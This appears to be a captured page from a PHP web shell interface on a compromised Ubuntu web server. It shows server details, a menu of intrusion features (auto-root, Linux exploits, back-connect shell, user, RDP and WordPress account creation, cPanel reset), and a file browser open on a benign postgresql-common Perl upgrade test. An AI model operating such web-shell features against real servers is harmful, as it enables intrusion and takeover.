Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
postgresql-common /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
foo
[ DIR ]
drwxr-xr-x
001_packages.t
3.21
KB
-rw-r--r--
002_existing_clusters.t
178
B
-rw-r--r--
005_PgCommon.t
8.13
KB
-rw-r--r--
006_next_free_port.t
1.42
KB
-rw-r--r--
007_pg_conftool.t
2.62
KB
-rw-r--r--
010_defaultport_cluster.t
2.01
KB
-rw-r--r--
012_maintscripts.t
1.08
KB
-rw-r--r--
015_start_stop.t
5.23
KB
-rw-r--r--
020_create_sql_remove.t
21.41
KB
-rw-r--r--
021_pg_renamecluster.t
1.69
KB
-rw-r--r--
022_recovery.t
1.38
KB
-rw-r--r--
025_logging.t
4.64
KB
-rw-r--r--
030_errors.t
15.46
KB
-rw-r--r--
031_errors_disk_full.t
2.42
KB
-rw-r--r--
032_ssl_key_permissions.t
2.19
KB
-rw-r--r--
040_upgrade.t
12.88
KB
-rw-r--r--
041_upgrade_custompaths.t
2.53
KB
-rw-r--r--
043_upgrade_ssl_cert.t
2.84
KB
-rw-r--r--
045_backup.t
6.61
KB
-rw-r--r--
050_encodings.t
5.31
KB
-rw-r--r--
052_upgrade_encodings.t
4.02
KB
-rw-r--r--
060_obsolete_confparams.t
3.2
KB
-rw-r--r--
070_non_postgres_clusters.t
4.2
KB
-rw-r--r--
080_start.conf.t
5.45
KB
-rw-r--r--
085_pg_ctl.conf.t
1.85
KB
-rw-r--r--
090_multicluster.t
13.15
KB
-rw-r--r--
100_upgrade_scripts.t
5.17
KB
-rw-r--r--
110_integrate_cluster.t
1.37
KB
-rw-r--r--
120_pg_upgradecluster_scripts....
4.06
KB
-rw-r--r--
130_nonroot_admin.t
1.75
KB
-rw-r--r--
135_pg_virtualenv.t
1.43
KB
-rw-r--r--
140_pg_config.t
4.36
KB
-rw-r--r--
150_tsearch_stemming.t
4.61
KB
-rw-r--r--
160_alternate_confroot.t
2.03
KB
-rw-r--r--
170_extensions.t
2.95
KB
-rw-r--r--
180_ecpg.t
1.29
KB
-rw-r--r--
190_pg_buildext.t
2.7
KB
-rw-r--r--
TestLib.pm
7.9
KB
-rw-r--r--
template
495
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 120_pg_upgradecluster_scripts.t
# Check /etc/p-c/pg_upgradecluster.d/ scripts and proper handling of already # existing tables in the target cluster. use strict; use lib 't'; use TestLib; use PgCommon; use Test::More tests => (@MAJORS == 1) ? 1 : 31; if (@MAJORS == 1) { pass 'only one major version installed, skipping upgrade tests'; exit 0; } # create old cluster is ((system "pg_createcluster $MAJORS[0] main --start >/dev/null"), 0, "pg_createcluster $MAJORS[0] main"); # add data table, auxtable with 'old...' values, and an unrelated auxtable in # another schema is_program_out 'postgres', 'psql template1 -qc "create table auxdata (x varchar(10)); insert into auxdata values (\'old1\'); insert into auxdata values (\'old2\')"', 0, '', 'adding auxdata to template1 and fill in some "old..." values'; is_program_out 'postgres', "createdb test", 0, ''; is_program_out 'postgres', 'psql test -qc "create table userdata(x int); insert into userdata values(42); insert into userdata values(256)"', 0, '', 'creating userdata table'; is_program_out 'postgres', 'psql test -qc "create schema s; create table s.auxdata (x varchar(10)); insert into s.auxdata values (\'schema1\')"', 0, '', 'adding schema s and s.auxdata to test and fill in some values'; if (not -d '/etc/postgresql-common/pg_upgradecluster.d') { mkdir '/etc/postgresql-common/pg_upgradecluster.d' or die "mkdir: $!"; } # move existing files away for my $f (glob("/etc/postgresql-common/pg_upgradecluster.d/*")) { next if ($f =~ /\.disabled$/); rename $f, "$f.disabled"; } # create test scripts chmod 0755, '/etc/postgresql-common/pg_upgradecluster.d' or die "chmod: $!"; open F, '>/etc/postgresql-common/pg_upgradecluster.d/auxdata' or die "open: $!"; print F <<EOS; #!/bin/sh -e # Arguments: <old version> <cluster name> <new version> <phase> oldver=\$1 cluster=\$2 newver=\$3 phase=\$4 if [ \$phase = init ]; then createdb --cluster \$newver/\$cluster idb fi if [ \$phase = finish ]; then psql --cluster \$newver/\$cluster template1 <<EOF drop table if exists auxdata; create table auxdata (x varchar(10)); insert into auxdata values ('new1'); insert into auxdata values ('new2'); EOF fi EOS close F; chmod 0755, '/etc/postgresql-common/pg_upgradecluster.d/auxdata' or die "chmod: $!"; open F, '>/etc/postgresql-common/pg_upgradecluster.d/badscript' or die "open: $!"; print F <<EOS; #!/bin/false EOS close F; chmod 0755, '/etc/postgresql-common/pg_upgradecluster.d/badscript' or die "chmod: $!"; # upgrade cluster my $outref; is ((exec_as 0, "pg_upgradecluster -v $MAJORS[-1] $MAJORS[0] main", $outref, 1), 1, 'pg_upgradecluster fails with bad script'); like $$outref, qr/error|fail/i, 'server error messages during upgrade'; unlink '/etc/postgresql-common/pg_upgradecluster.d/badscript'; is ((exec_as 0, "pg_upgradecluster -v $MAJORS[-1] $MAJORS[0] main", $outref, 0), 0, 'pg_upgradecluster succeeds'); unlike $$outref, qr/error|fail/i, 'no server error messages during upgrade'; like $$outref, qr/Starting upgraded cluster/, 'pg_upgradecluster reported cluster startup'; like $$outref, qr/Success. Please check/, 'pg_upgradecluster reported successful operation'; is ((system "pg_dropcluster $MAJORS[0] main --stop"), 0, 'Dropping old cluster'); # check new version cluster is_program_out 'postgres', 'psql template1 -Atc "select * from auxdata order by x"', 0, "new1\nnew2\n", 'new cluster\'s template1/auxdata table is the script\'s version'; like_program_out 'postgres', 'psql -Atl', 0, qr/^idb\b.*^test\b/ms, 'upgraded cluster has idb and test databases'; is_program_out 'postgres', 'psql test -Atc "select * from s.auxdata"', 0, "schema1\n", 'new cluster\'s test/auxdata table in schema s was upgraded normally'; # remove test script unlink '/etc/postgresql-common/pg_upgradecluster.d/auxdata' or die "unlink: $!"; # restore original contents for my $f (glob("/etc/postgresql-common/pg_upgradecluster.d/*.disabled")) { my $f2 = $f; $f2 =~ s/\.disabled$//; rename $f, $f2; } # clean up is ((system "pg_dropcluster $MAJORS[-1] main --stop"), 0, "pg_dropcluster $MAJORS[-1] main"); check_clean; # vim: filetype=perl
Close
